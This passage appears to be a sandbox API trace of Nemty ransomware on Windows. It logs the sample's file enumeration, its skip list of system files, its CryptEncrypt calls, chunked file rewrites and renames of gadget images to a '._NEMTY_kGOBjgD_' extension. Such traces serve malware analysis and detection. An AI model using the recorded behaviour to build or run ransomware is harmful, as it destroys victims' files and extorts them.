0xffffffff [0159.897] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0159.897] CloseHandle (hObject=0xffffffff) returned 0 [0159.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0159.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0159.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0159.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0159.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0159.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0159.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0159.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0159.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0159.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0159.898] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\divider-vertical.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\divider-vertical.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\divider-vertical.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\divider-vertical.png._nemty_kgobjgd_")) returned 0 [0159.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0159.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0159.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0159.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0159.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0159.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0159.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0159.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0159.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0159.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0159.898] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876a3657, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x876a3657, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afec4b3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2261, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked-loading.png", cAlternateFileName="")) returned 1 [0159.898] lstrcmpiW (lpString1="docked-loading.png", lpString2=".") returned 1 [0159.898] lstrcmpiW (lpString1="docked-loading.png", lpString2="..") returned 1 [0159.898] lstrcmpiW (lpString1="docked-loading.png", lpString2="...") returned 1 [0159.898] lstrcmpiW (lpString1="docked-loading.png", lpString2="windows") returned -1 [0159.898] lstrcmpiW (lpString1="docked-loading.png", lpString2="$RECYCLE.BIN") returned 1 [0159.898] lstrcmpiW (lpString1="docked-loading.png", lpString2="rsa") returned -1 [0159.898] lstrcmpiW (lpString1="docked-loading.png", lpString2="NTDETECT.COM") returned -1 [0159.898] lstrcmpiW (lpString1="docked-loading.png", lpString2="ntldr") returned -1 [0159.898] lstrcmpiW (lpString1="docked-loading.png", lpString2="MSDOS.SYS") returned -1 [0159.898] lstrcmpiW (lpString1="docked-loading.png", lpString2="IO.SYS") returned -1 [0159.898] lstrcmpiW (lpString1="docked-loading.png", lpString2="boot.ini") returned 1 [0159.898] lstrcmpiW (lpString1="docked-loading.png", lpString2="boot.ini") returned 1 [0159.898] lstrcmpiW (lpString1="docked-loading.png", lpString2="AUTOEXEC.BAT") returned 1 [0159.898] lstrcmpiW (lpString1="docked-loading.png", lpString2="ntuser.dat") returned -1 [0159.899] lstrcmpiW (lpString1="docked-loading.png", lpString2="desktop.ini") returned 1 [0159.899] lstrcmpiW (lpString1="docked-loading.png", lpString2="CONFIG.SYS") returned 1 [0159.899] lstrcmpiW (lpString1="docked-loading.png", lpString2="RECYCLER") returned -1 [0159.899] lstrcmpiW (lpString1="docked-loading.png", lpString2="BOOTSECT.BAK") returned 1 [0159.899] lstrcmpiW (lpString1="docked-loading.png", lpString2="bootmgr") returned 1 [0159.899] lstrcmpiW (lpString1="docked-loading.png", lpString2="programdata") returned -1 [0159.899] lstrcmpiW (lpString1="docked-loading.png", lpString2="appdata") returned 1 [0159.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0159.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked-loading.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0159.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0159.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked-loading.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked-loading.png", lpUsedDefaultChar=0x0) returned 18 [0159.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0159.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0159.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked-loading.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0159.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0159.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked-loading.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked-loading.png", lpUsedDefaultChar=0x0) returned 18 [0159.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0159.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0159.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0159.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0159.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked-loading.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0159.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0159.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked-loading.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked-loading.png", lpUsedDefaultChar=0x0) returned 18 [0159.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0159.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0159.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked-loading.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0159.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0159.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked-loading.png", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked-loading.png", lpUsedDefaultChar=0x0) returned 18 [0159.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0159.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0159.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0159.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0159.899] Sleep (dwMilliseconds=0x5) [0159.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x12f673d0, dwHighDateTime=0x1d561e8)) [0159.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x12f673d0, dwHighDateTime=0x1d561e8)) [0159.913] GetLastError () returned 0x5 [0159.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0159.913] GetLastError () returned 0x5 [0159.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0159.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0159.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0159.914] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0159.914] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0159.914] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0159.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0159.914] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="cd8LYem89hShtNKHw0Ez7+NqhpeKGPCanRIqlqvT5opUxtxlvJ+G30c59j9fMg1Z\r\nv1hgE11ZiMmlD0g5ZK9A/NPiIhE53Z1juiWK7FSPXV3GXBR8qLa6moMCEnQ91DFx\r\nzqXDjTQhmUX9LvVhSuS+eXO5xRFRBkn7csSdL+qoIsJx+9cEwbzljQmPX5psoWAN\r\na1708S3XXu1vzN9ckQT513yWw7Fhe8gj/8icw3d2f/wK6voP7KKU7G0inKWbchyP\r\nMd7XXeD5f1LbylGhFDhjAejAYG8yLGkbWezUEDZdLXcrtoP4sjCFZNbmuS5Wj6Nb\r\nreFxxW8BHbtHw7eJ34wqzw==\r\n", pcchString=0x653e91c) returned 1 [0159.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0159.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0159.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0159.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0159.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0159.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0159.914] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked-loading.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked-loading.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0159.914] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0159.914] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0159.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.914] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.924] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.924] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.933] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.933] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.942] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.942] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.952] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.952] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.963] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.963] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.963] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.963] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.972] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.972] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.972] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.972] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.982] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.982] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.982] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.982] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.991] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.992] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.001] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.001] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.010] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.010] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.011] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.011] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.017] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.017] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.017] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.023] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.023] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.023] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.023] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0160.023] CloseHandle (hObject=0xffffffff) returned 0 [0160.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0160.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0160.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0160.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0160.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0160.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0160.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0160.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0160.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0160.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0160.023] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked-loading.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked-loading.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked-loading.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked-loading.png._nemty_kgobjgd_")) returned 0 [0160.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0160.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0160.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0160.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0160.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | 